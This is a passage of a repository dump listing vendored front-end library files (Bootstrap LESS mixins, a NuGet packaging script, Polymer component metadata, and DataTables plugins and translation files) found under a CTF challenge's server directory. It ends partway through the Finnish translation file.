8 | &:focus {
9 | background-color: darken(@color, 10%);
10 | }
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/list-group.less:
--------------------------------------------------------------------------------
1 | // List Groups
2 |
3 | .list-group-item-variant(@state; @background; @color) {
4 | .list-group-item-@{state} {
5 | color: @color;
6 | background-color: @background;
7 |
8 | a&,
9 | button& {
10 | color: @color;
11 |
12 | .list-group-item-heading {
13 | color: inherit;
14 | }
15 |
16 | &:hover,
17 | &:focus {
18 | color: @color;
19 | background-color: darken(@background, 5%);
20 | }
21 | &.active,
22 | &.active:hover,
23 | &.active:focus {
24 | color: #fff;
25 | background-color: @color;
26 | border-color: @color;
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/nav-divider.less:
--------------------------------------------------------------------------------
1 | // Horizontal dividers
2 | //
3 | // Dividers (basically an hr) within dropdowns and nav lists
4 |
5 | .nav-divider(@color: #e5e5e5) {
6 | height: 1px;
7 | margin: ((@line-height-computed / 2) - 1) 0;
8 | overflow: hidden;
9 | background-color: @color;
10 | }
11 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/nav-vertical-align.less:
--------------------------------------------------------------------------------
1 | // Navbar vertical align
2 | //
3 | // Vertically center elements in the navbar.
4 | // Example: an element has a height of 30px, so write out `.navbar-vertical-align(30px);` to calculate the appropriate top margin.
5 |
6 | .navbar-vertical-align(@element-height) {
7 | margin-top: ((@navbar-height - @element-height) / 2);
8 | margin-bottom: ((@navbar-height - @element-height) / 2);
9 | }
10 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/opacity.less:
--------------------------------------------------------------------------------
1 | // Opacity
2 |
3 | .opacity(@opacity) {
4 | opacity: @opacity;
5 | // IE8 filter
6 | @opacity-ie: (@opacity * 100);
7 | filter: ~"alpha(opacity=@{opacity-ie})";
8 | }
9 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/pagination.less:
--------------------------------------------------------------------------------
1 | // Pagination
2 |
3 | .pagination-size(@padding-vertical; @padding-horizontal; @font-size; @line-height; @border-radius) {
4 | > li {
5 | > a,
6 | > span {
7 | padding: @padding-vertical @padding-horizontal;
8 | font-size: @font-size;
9 | line-height: @line-height;
10 | }
11 | &:first-child {
12 | > a,
13 | > span {
14 | .border-left-radius(@border-radius);
15 | }
16 | }
17 | &:last-child {
18 | > a,
19 | > span {
20 | .border-right-radius(@border-radius);
21 | }
22 | }
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/panels.less:
--------------------------------------------------------------------------------
1 | // Panels
2 |
3 | .panel-variant(@border; @heading-text-color; @heading-bg-color; @heading-border) {
4 | border-color: @border;
5 |
6 | & > .panel-heading {
7 | color: @heading-text-color;
8 | background-color: @heading-bg-color;
9 | border-color: @heading-border;
10 |
11 | + .panel-collapse > .panel-body {
12 | border-top-color: @border;
13 | }
14 | .badge {
15 | color: @heading-bg-color;
16 | background-color: @heading-text-color;
17 | }
18 | }
19 | & > .panel-footer {
20 | + .panel-collapse > .panel-body {
21 | border-bottom-color: @border;
22 | }
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/progress-bar.less:
--------------------------------------------------------------------------------
1 | // Progress bars
2 |
3 | .progress-bar-variant(@color) {
4 | background-color: @color;
5 |
6 | // Deprecated parent class requirement as of v3.2.0
7 | .progress-striped & {
8 | #gradient > .striped();
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/reset-filter.less:
--------------------------------------------------------------------------------
1 | // Reset filters for IE
2 | //
3 | // When you need to remove a gradient background, do not forget to use this to reset
4 | // the IE filter for IE9 and below.
5 |
6 | .reset-filter() {
7 | filter: e(%("progid:DXImageTransform.Microsoft.gradient(enabled = false)"));
8 | }
9 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/reset-text.less:
--------------------------------------------------------------------------------
1 | .reset-text() {
2 | font-family: @font-family-base;
3 | // We deliberately do NOT reset font-size.
4 | font-style: normal;
5 | font-weight: normal;
6 | letter-spacing: normal;
7 | line-break: auto;
8 | line-height: @line-height-base;
9 | text-align: left; // Fallback for where `start` is not supported
10 | text-align: start;
11 | text-decoration: none;
12 | text-shadow: none;
13 | text-transform: none;
14 | white-space: normal;
15 | word-break: normal;
16 | word-spacing: normal;
17 | word-wrap: normal;
18 | }
19 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/resize.less:
--------------------------------------------------------------------------------
1 | // Resize anything
2 |
3 | .resizable(@direction) {
4 | resize: @direction; // Options: horizontal, vertical, both
5 | overflow: auto; // Per CSS3 UI, `resize` only applies when `overflow` isn't `visible`
6 | }
7 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/responsive-visibility.less:
--------------------------------------------------------------------------------
1 | // Responsive utilities
2 |
3 | //
4 | // More easily include all the states for responsive-utilities.less.
5 | .responsive-visibility() {
6 | display: block !important;
7 | table& { display: table !important; }
8 | tr& { display: table-row !important; }
9 | th&,
10 | td& { display: table-cell !important; }
11 | }
12 |
13 | .responsive-invisibility() {
14 | display: none !important;
15 | }
16 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/size.less:
--------------------------------------------------------------------------------
1 | // Sizing shortcuts
2 |
3 | .size(@width; @height) {
4 | width: @width;
5 | height: @height;
6 | }
7 |
8 | .square(@size) {
9 | .size(@size; @size);
10 | }
11 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/tab-focus.less:
--------------------------------------------------------------------------------
1 | // WebKit-style focus
2 |
3 | .tab-focus() {
4 | // WebKit-specific. Other browsers will keep their default outline style.
5 | // (Initially tried to also force default via `outline: initial`,
6 | // but that seems to erroneously remove the outline in Firefox altogether.)
7 | outline: 5px auto -webkit-focus-ring-color;
8 | outline-offset: -2px;
9 | }
10 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/table-row.less:
--------------------------------------------------------------------------------
1 | // Tables
2 |
3 | .table-row-variant(@state; @background) {
4 | // Exact selectors below required to override `.table-striped` and prevent
5 | // inheritance to nested tables.
6 | .table > thead > tr,
7 | .table > tbody > tr,
8 | .table > tfoot > tr {
9 | > td.@{state},
10 | > th.@{state},
11 | &.@{state} > td,
12 | &.@{state} > th {
13 | background-color: @background;
14 | }
15 | }
16 |
17 | // Hover states for `.table-hover`
18 | // Note: this is not available for cells or rows within `thead` or `tfoot`.
19 | .table-hover > tbody > tr {
20 | > td.@{state}:hover,
21 | > th.@{state}:hover,
22 | &.@{state}:hover > td,
23 | &:hover > .@{state},
24 | &.@{state}:hover > th {
25 | background-color: darken(@background, 5%);
26 | }
27 | }
28 | }
29 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/text-emphasis.less:
--------------------------------------------------------------------------------
1 | // Typography
2 |
3 | .text-emphasis-variant(@color) {
4 | color: @color;
5 | a&:hover,
6 | a&:focus {
7 | color: darken(@color, 10%);
8 | }
9 | }
10 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/mixins/text-overflow.less:
--------------------------------------------------------------------------------
1 | // Text overflow
2 | // Requires inline-block or block for proper styling
3 |
4 | .text-overflow() {
5 | overflow: hidden;
6 | text-overflow: ellipsis;
7 | white-space: nowrap;
8 | }
9 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/responsive-embed.less:
--------------------------------------------------------------------------------
1 | // Embeds responsive
2 | //
3 | // Credit: Nicolas Gallagher and SUIT CSS.
4 |
5 | .embed-responsive {
6 | position: relative;
7 | display: block;
8 | height: 0;
9 | padding: 0;
10 | overflow: hidden;
11 |
12 | .embed-responsive-item,
13 | iframe,
14 | embed,
15 | object,
16 | video {
17 | position: absolute;
18 | top: 0;
19 | left: 0;
20 | bottom: 0;
21 | height: 100%;
22 | width: 100%;
23 | border: 0;
24 | }
25 | }
26 |
27 | // Modifier class for 16:9 aspect ratio
28 | .embed-responsive-16by9 {
29 | padding-bottom: 56.25%;
30 | }
31 |
32 | // Modifier class for 4:3 aspect ratio
33 | .embed-responsive-4by3 {
34 | padding-bottom: 75%;
35 | }
36 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/thumbnails.less:
--------------------------------------------------------------------------------
1 | //
2 | // Thumbnails
3 | // --------------------------------------------------
4 |
5 |
6 | // Mixin and adjust the regular image class
7 | .thumbnail {
8 | display: block;
9 | padding: @thumbnail-padding;
10 | margin-bottom: @line-height-computed;
11 | line-height: @line-height-base;
12 | background-color: @thumbnail-bg;
13 | border: 1px solid @thumbnail-border;
14 | border-radius: @thumbnail-border-radius;
15 | .transition(border .2s ease-in-out);
16 |
17 | > img,
18 | a > img {
19 | &:extend(.img-responsive);
20 | margin-left: auto;
21 | margin-right: auto;
22 | }
23 |
24 | // Add a hover state for linked versions only
25 | a&:hover,
26 | a&:focus,
27 | a&.active {
28 | border-color: @link-color;
29 | }
30 |
31 | // Image captions
32 | .caption {
33 | padding: @thumbnail-caption-padding;
34 | color: @thumbnail-caption-color;
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/less/wells.less:
--------------------------------------------------------------------------------
1 | //
2 | // Wells
3 | // --------------------------------------------------
4 |
5 |
6 | // Base class
7 | .well {
8 | min-height: 20px;
9 | padding: 19px;
10 | margin-bottom: 20px;
11 | background-color: @well-bg;
12 | border: 1px solid @well-border;
13 | border-radius: @border-radius-base;
14 | .box-shadow(inset 0 1px 1px rgba(0,0,0,.05));
15 | blockquote {
16 | border-color: #ddd;
17 | border-color: rgba(0,0,0,.15);
18 | }
19 | }
20 |
21 | // Sizes
22 | .well-lg {
23 | padding: 24px;
24 | border-radius: @border-radius-large;
25 | }
26 | .well-sm {
27 | padding: 9px;
28 | border-radius: @border-radius-small;
29 | }
30 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/bootstrap/nuget/MyGet.ps1:
--------------------------------------------------------------------------------
1 | $nuget = $env:NuGet
2 |
3 | # parse the version number out of package.json
4 | $bsversion = ((Get-Content $env:SourcesPath\package.json) -join "`n" | ConvertFrom-Json).version
5 |
6 | # create packages
7 | & $nuget pack "nuget\bootstrap.nuspec" -Verbosity detailed -NonInteractive -NoPackageAnalysis -BasePath $env:SourcesPath -Version $bsversion
8 | & $nuget pack "nuget\bootstrap.less.nuspec" -Verbosity detailed -NonInteractive -NoPackageAnalysis -BasePath $env:SourcesPath -Version $bsversion
9 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/core-component-page/.bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "core-component-page",
3 | "private": true,
4 | "dependencies": {
5 | "webcomponentsjs": "Polymer/webcomponentsjs",
6 | "polymer": "Polymer/polymer#^0.5"
7 | },
8 | "version": "0.5.6",
9 | "homepage": "https://github.com/Polymer/core-component-page",
10 | "_release": "0.5.6",
11 | "_resolution": {
12 | "type": "version",
13 | "tag": "0.5.6",
14 | "commit": "01a1d3968d7ece144783bcd03bc87b18344265e3"
15 | },
16 | "_source": "https://github.com/Polymer/core-component-page.git",
17 | "_target": "^0.5",
18 | "_originalSource": "Polymer/core-component-page"
19 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/core-component-page/README.md:
--------------------------------------------------------------------------------
1 | core-component-page
2 | ===================
3 |
4 | **This element is compatible with Polymer 0.5 and lower only, and will be deprecated.**
5 | You can check out a similar 0.8-compatible version of this element at [https://github.com/polymerelements/iron-components-page](https://github.com/polymerelements/iron-component-page)
6 |
7 | See the [component page](https://www.polymer-project.org/0.5/docs/elements/core-component-page.html) for more information.
8 |
9 | Note: this is the vulcanized version of [`core-component-page-dev`](https://github.com/Polymer/core-component-page-dev) (the source).
10 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/core-component-page/bowager-logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/beched/ctf/c6288c4e371eace11fa9d23715ef1000fbb652cb/2018/wctf-belluminar/mimicdb/server/bower_components/core-component-page/bowager-logo.png
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/core-component-page/bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "core-component-page",
3 | "private": true,
4 | "dependencies": {
5 | "webcomponentsjs": "Polymer/webcomponentsjs",
6 | "polymer": "Polymer/polymer#^0.5"
7 | },
8 | "version": "0.5.6"
9 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/core-component-page/demo.html:
--------------------------------------------------------------------------------
1 |
2 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/core-component-page/index.html:
--------------------------------------------------------------------------------
1 |
2 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/.bower.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "datatables-plugins",
3 | "homepage": "https://github.com/DataTables/Plugins",
4 | "version": "1.0.1",
5 | "_release": "1.0.1",
6 | "_resolution": {
7 | "type": "version",
8 | "tag": "1.0.1",
9 | "commit": "a94e328df63c79af43123b99ada5ff88d601a31d"
10 | },
11 | "_source": "https://github.com/DataTables/Plugins.git",
12 | "_target": "~1.0.1",
13 | "_originalSource": "datatables-plugins"
14 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/api/column().title().js:
--------------------------------------------------------------------------------
1 | /**
2 | * This plug-in will read the text from the header cell of a column, returning
3 | * that value.
4 | *
5 | * @name column().title()
6 | * @summary Get the title of a column
7 | * @author Alejandro Navarro
8 | * @requires DataTables 1.10+
9 | *
10 | * @returns {String} Column title
11 | *
12 | * @example
13 | * // Read the title text of column index 3
14 | * var table = $('#example').DataTable();
15 | * table.column( 3 ).title();
16 | */
17 |
18 | $.fn.dataTable.Api.register( 'column().title()', function () {
19 | var colheader = this.header();
20 | return $(colheader).text().trim();
21 | } );
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/features/alphabetSearch/dataTables.alphabetSearch.css:
--------------------------------------------------------------------------------
1 | div.alphabet {
2 | position: relative;
3 | display: table;
4 | width: 100%;
5 | margin-bottom: 1em;
6 | }
7 |
8 | div.alphabet span {
9 | display: table-cell;
10 | color: #3174c7;
11 | cursor: pointer;
12 | text-align: center;
13 | width: 3.5%
14 | }
15 |
16 | div.alphabet span:hover {
17 | text-decoration: underline;
18 | }
19 |
20 | div.alphabet span.active {
21 | color: black;
22 | }
23 |
24 | div.alphabet span.empty {
25 | color: red;
26 | }
27 |
28 | div.alphabetInfo {
29 | display: block;
30 | position: absolute;
31 | background-color: #111;
32 | border-radius: 3px;
33 | color: white;
34 | top: 2em;
35 | height: 1.8em;
36 | padding-top: 0.4em;
37 | text-align: center;
38 | z-index: 1;
39 | }
40 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/features/lengthLinks/dataTables.lengthLinks.css:
--------------------------------------------------------------------------------
1 |
2 | div.dataTables_length a.active {
3 | color: black;
4 | }
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/features/searchHighlight/dataTables.searchHighlight.css:
--------------------------------------------------------------------------------
1 |
2 |
3 | table.dataTable span.highlight {
4 | background-color: #FFFF88;
5 | }
6 |
7 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/features/searchHighlight/dataTables.searchHighlight.min.js:
--------------------------------------------------------------------------------
1 | /*!
2 | SearchHighlight for DataTables v1.0.1
3 | 2014 SpryMedia Ltd - datatables.net/license
4 | */
5 | (function(f,c,b){b(c).on("init.dt.dth",function(c,d){var a=new b.fn.dataTable.Api(d),e=b(a.table().body());if(b(a.table().node()).hasClass("searchHighlight")||d.oInit.searchHighlight||b.fn.dataTable.defaults.searchHighlight)a.on("draw.dt.dth column-visibility.dt.dth",function(){e.unhighlight();a.rows({filter:"applied"}).data().length&&e.highlight(a.search().split(" "))}).on("destroy",function(){a.off("draw.dt.dth column-visibility.dt.dth")})})})(window,document,jQuery);
6 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Arabic.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Arabic translation
3 | * @name Arabic
4 | * @anchor Arabic
5 | * @author Ossama Khayat
6 | */
7 |
8 | {
9 | "sProcessing": "جاري التحميل...",
10 | "sLengthMenu": "أظهر مُدخلات _MENU_",
11 | "sZeroRecords": "لم يُعثر على أية سجلات",
12 | "sInfo": "إظهار _START_ إلى _END_ من أصل _TOTAL_ مُدخل",
13 | "sInfoEmpty": "يعرض 0 إلى 0 من أصل 0 سجلّ",
14 | "sInfoFiltered": "(منتقاة من مجموع _MAX_ مُدخل)",
15 | "sInfoPostFix": "",
16 | "sSearch": "ابحث:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "الأول",
20 | "sPrevious": "السابق",
21 | "sNext": "التالي",
22 | "sLast": "الأخير"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Bangla.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Bangla translation
3 | * @name Bangla
4 | * @anchor Bangla
5 | * @author Md. Khaled Ben Islam
6 | */
7 |
8 | {
9 | "sProcessing": "প্রসেসিং হচ্ছে...",
10 | "sLengthMenu": "_MENU_ টা এন্ট্রি দেখাও",
11 | "sZeroRecords": "আপনি যা অনুসন্ধান করেছেন তার সাথে মিলে যাওয়া কোন রেকর্ড খুঁজে পাওয়া যায় নাই",
12 | "sInfo": "_TOTAL_ টা এন্ট্রির মধ্যে _START_ থেকে _END_ পর্যন্ত দেখানো হচ্ছে",
13 | "sInfoEmpty": "কোন এন্ট্রি খুঁজে পাওয়া যায় নাই",
14 | "sInfoFiltered": "(মোট _MAX_ টা এন্ট্রির মধ্যে থেকে বাছাইকৃত)",
15 | "sInfoPostFix": "",
16 | "sSearch": "অনুসন্ধান:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "প্রথমটা",
20 | "sPrevious": "আগেরটা",
21 | "sNext": "পরবর্তীটা",
22 | "sLast": "শেষেরটা"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Belarusian.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Belarusian translation
3 | * @name Belarusian
4 | * @anchor Belarusian
5 | * @author vkachurka
6 | */
7 | {
8 | "sProcessing": "Пачакайце...",
9 | "sLengthMenu": "Паказваць _MENU_ запісаў",
10 | "sZeroRecords": "Запісы адсутнічаюць.",
11 | "sInfo": "Запісы з _START_ па _END_ з _TOTAL_ запісаў",
12 | "sInfoEmpty": "Запісы з 0 па 0 з 0 запісаў",
13 | "sInfoFiltered": "(адфільтравана з _MAX_ запісаў)",
14 | "sInfoPostFix": "",
15 | "sSearch": "Пошук:",
16 | "sUrl": "",
17 | "oPaginate": {
18 | "sFirst": "Першая",
19 | "sPrevious": "Папярэдняя",
20 | "sNext": "Наступная",
21 | "sLast": "Апошняя"
22 | },
23 | "oAria": {
24 | "sSortAscending": ": актываваць для сартавання слупка па ўзрастанні",
25 | "sSortDescending": ": актываваць для сартавання слупка па змяншэнні"
26 | }
27 | }
28 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Bulgarian.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Bulgarian translation
3 | * @name Bulgarian
4 | * @anchor Bulgarian
5 | * @author Rostislav Stoyanov
6 | */
7 |
8 | {
9 | "sProcessing": "Обработка на резултатите...",
10 | "sLengthMenu": "Показване на _MENU_ резултата",
11 | "sZeroRecords": "Няма намерени резултати",
12 | "sInfo": "Показване на резултати от _START_ до _END_ от общо _TOTAL_",
13 | "sInfoEmpty": "Показване на резултати от 0 до 0 от общо 0",
14 | "sInfoFiltered": "(филтрирани от общо _MAX_ резултата)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Търсене във всички колони:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Първа",
20 | "sPrevious": "Предишна",
21 | "sNext": "Следваща",
22 | "sLast": "Последна"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Catalan.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Catalan translation
3 | * @name Catalan
4 | * @anchor Catalan
5 | * @author Sergi
6 | */
7 |
8 | {
9 | "sProcessing": "Processant...",
10 | "sLengthMenu": "Mostra _MENU_ registres",
11 | "sZeroRecords": "No s'han trobat registres.",
12 | "sInfo": "Mostrant de _START_ a _END_ de _TOTAL_ registres",
13 | "sInfoEmpty": "Mostrant de 0 a 0 de 0 registres",
14 | "sInfoFiltered": "(filtrat de _MAX_ total registres)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Filtrar:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Primer",
20 | "sPrevious": "Anterior",
21 | "sNext": "Següent",
22 | "sLast": "Últim"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Chinese-traditional.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Chinese (traditional) translation
3 | * @name Chinese (traditional)
4 | * @anchor Chinese (traditional)
5 | * @author GimmeRank Affiliate
6 | */
7 |
8 | {
9 | "sProcessing": "處理中...",
10 | "sLengthMenu": "顯示 _MENU_ 項結果",
11 | "sZeroRecords": "沒有匹配結果",
12 | "sInfo": "顯示第 _START_ 至 _END_ 項結果,共 _TOTAL_ 項",
13 | "sInfoEmpty": "顯示第 0 至 0 項結果,共 0 項",
14 | "sInfoFiltered": "(從 _MAX_ 項結果過濾)",
15 | "sInfoPostFix": "",
16 | "sSearch": "搜索:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "首頁",
20 | "sPrevious": "上頁",
21 | "sNext": "下頁",
22 | "sLast": "尾頁"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Chinese.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Chinese translation
3 | * @name Chinese
4 | * @anchor Chinese
5 | * @author Chi Cheng
6 | */
7 |
8 | {
9 | "sProcessing": "处理中...",
10 | "sLengthMenu": "显示 _MENU_ 项结果",
11 | "sZeroRecords": "没有匹配结果",
12 | "sInfo": "显示第 _START_ 至 _END_ 项结果,共 _TOTAL_ 项",
13 | "sInfoEmpty": "显示第 0 至 0 项结果,共 0 项",
14 | "sInfoFiltered": "(由 _MAX_ 项结果过滤)",
15 | "sInfoPostFix": "",
16 | "sSearch": "搜索:",
17 | "sUrl": "",
18 | "sEmptyTable": "表中数据为空",
19 | "sLoadingRecords": "载入中...",
20 | "sInfoThousands": ",",
21 | "oPaginate": {
22 | "sFirst": "首页",
23 | "sPrevious": "上页",
24 | "sNext": "下页",
25 | "sLast": "末页"
26 | },
27 | "oAria": {
28 | "sSortAscending": ": 以升序排列此列",
29 | "sSortDescending": ": 以降序排列此列"
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Czech.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Czech translation
3 | * @name Czech
4 | * @anchor Czech
5 | * @author Magerio
6 | */
7 |
8 | {
9 | "sProcessing": "Provádím...",
10 | "sLengthMenu": "Zobraz záznamů _MENU_",
11 | "sZeroRecords": "Žádné záznamy nebyly nalezeny",
12 | "sInfo": "Zobrazuji _START_ až _END_ z celkem _TOTAL_ záznamů",
13 | "sInfoEmpty": "Zobrazuji 0 až 0 z 0 záznamů",
14 | "sInfoFiltered": "(filtrováno z celkem _MAX_ záznamů)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Hledat:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "První",
20 | "sPrevious": "Předchozí",
21 | "sNext": "Další",
22 | "sLast": "Poslední"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Danish.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Danish translation
3 | * @name Danish
4 | * @anchor Danish
5 | * @author Werner Knudsen
6 | */
7 |
8 | {
9 | "sProcessing": "Henter...",
10 | "sLengthMenu": "Vis _MENU_ linjer",
11 | "sZeroRecords": "Ingen linjer matcher søgningen",
12 | "sInfo": "Viser _START_ til _END_ af _TOTAL_ linjer",
13 | "sInfoEmpty": "Viser 0 til 0 af 0 linjer",
14 | "sInfoFiltered": "(filtreret fra _MAX_ linjer)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Søg:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Første",
20 | "sPrevious": "Forrige",
21 | "sNext": "Næste",
22 | "sLast": "Sidste"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Dutch.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Dutch translation
3 | * @name Dutch
4 | * @anchor Dutch
5 | * @author Erwin Kerk and ashwin
6 | */
7 |
8 | {
9 | "sProcessing": "Bezig...",
10 | "sLengthMenu": "_MENU_ resultaten weergeven",
11 | "sZeroRecords": "Geen resultaten gevonden",
12 | "sInfo": "_START_ tot _END_ van _TOTAL_ resultaten",
13 | "sInfoEmpty": "Geen resultaten om weer te geven",
14 | "sInfoFiltered": " (gefilterd uit _MAX_ resultaten)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Zoeken:",
17 | "sEmptyTable": "Geen resultaten aanwezig in de tabel",
18 | "sInfoThousands": ".",
19 | "sLoadingRecords": "Een moment geduld aub - bezig met laden...",
20 | "oPaginate": {
21 | "sFirst": "Eerste",
22 | "sLast": "Laatste",
23 | "sNext": "Volgende",
24 | "sPrevious": "Vorige"
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Estonian.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Estonian translation
3 | * @name Estonian
4 | * @anchor Estonian
5 | * @author Janek Todoruk
6 | */
7 |
8 | {
9 | "sProcessing": "Palun oodake, koostan kuvamiseks nimekirja!",
10 | "sLengthMenu": "Näita kirjeid _MENU_ kaupa",
11 | "sZeroRecords": "Otsitavat vastet ei leitud.",
12 | "sInfo": "Kuvatud: _TOTAL_ kirjet (_START_-_END_)",
13 | "sInfoEmpty": "Otsinguvasteid ei leitud",
14 | "sInfoFiltered": " - filteeritud _MAX_ kirje seast.",
15 | "sInfoPostFix": "Kõik kuvatud kirjed põhinevad reaalsetel tulemustel.",
16 | "sSearch": "Otsi kõikide tulemuste seast:",
17 | "oPaginate": {
18 | "sFirst": "Algus",
19 | "sPrevious": "Eelmine",
20 | "sNext": "Järgmine",
21 | "sLast": "Viimane"
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Filipino.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Filipino translation
3 | * @name Filipino
4 | * @anchor Filipino
5 | * @author Citi360
6 | */
7 |
8 | {
9 | "sProcessing": "Pagproseso...",
10 | "sLengthMenu": "Ipakita _MENU_ entries",
11 | "sZeroRecords": "Walang katugmang mga talaan na natagpuan",
12 | "sInfo": "Ipinapakita ang _START_ sa _END_ ng _TOTAL_ entries",
13 | "sInfoEmpty": "Ipinapakita ang 0-0 ng 0 entries",
14 | "sInfoFiltered": "(na-filter mula _MAX_ kabuuang entries)",
15 | "sInfoPostFix": "",
16 | "sSearch": "Paghahanap:",
17 | "sUrl": "",
18 | "oPaginate": {
19 | "sFirst": "Unang",
20 | "sPrevious": "Nakaraan",
21 | "sNext": "Susunod",
22 | "sLast": "Huli"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/2018/wctf-belluminar/mimicdb/server/bower_components/datatables-plugins/i18n/Finnish.lang:
--------------------------------------------------------------------------------
1 | /**
2 | * Finnish translation
3 | * @name Finnish
4 | * @anchor Finnish
5 | * @author Seppo Äyräväinen
6 | */
7 |
8 | {
9 | "sProcessing": "Hetkinen...",
10 | "sLengthMenu": "Näytä kerralla _MENU_ riviä",
11 | "sZeroRecords": "Tietoja ei löytynyt",
